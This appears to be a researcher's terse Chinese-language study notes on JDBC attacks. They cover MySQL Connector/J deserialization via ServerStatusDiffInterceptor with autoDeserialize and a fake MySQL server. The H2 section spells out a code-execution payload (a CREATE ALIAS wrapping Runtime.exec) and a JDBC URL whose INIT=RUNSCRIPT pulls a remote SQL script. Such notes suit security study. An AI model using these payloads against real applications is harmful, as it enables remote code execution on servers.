mysql

ResultSetImpl#getObject

ResultSetUtil#resultSetToMap

ServerStatusDiffInterceptor#populateMapWithSessionStatusValues

ServerStatusDiffInterceptor#preProcess/postProcess

ServerStatusDiffInterceptor是拦截器，jdbc语句中设置queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true就会调用preProcess/postProcess
rs来自show session status的结果，所以我们要构建一个fakemysql来控制返回的结果

抓本地环回mysql数据包

SHOW SESSION STATUS 请求包

返回包

不会mysql协议的那些十六进制数据，直接偷个脚本

a的内容我用的是dns那条链

H2

环境搭建

INIT

恶意的sql语句

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:2333/poc.sql'

其实就是指定连接时的初始化要运行的脚本

Alias别名

如果能执行sql语句就可以直接执行poc.sql的语句了

好像还可以写触发器，不太懂这个语法，报错了
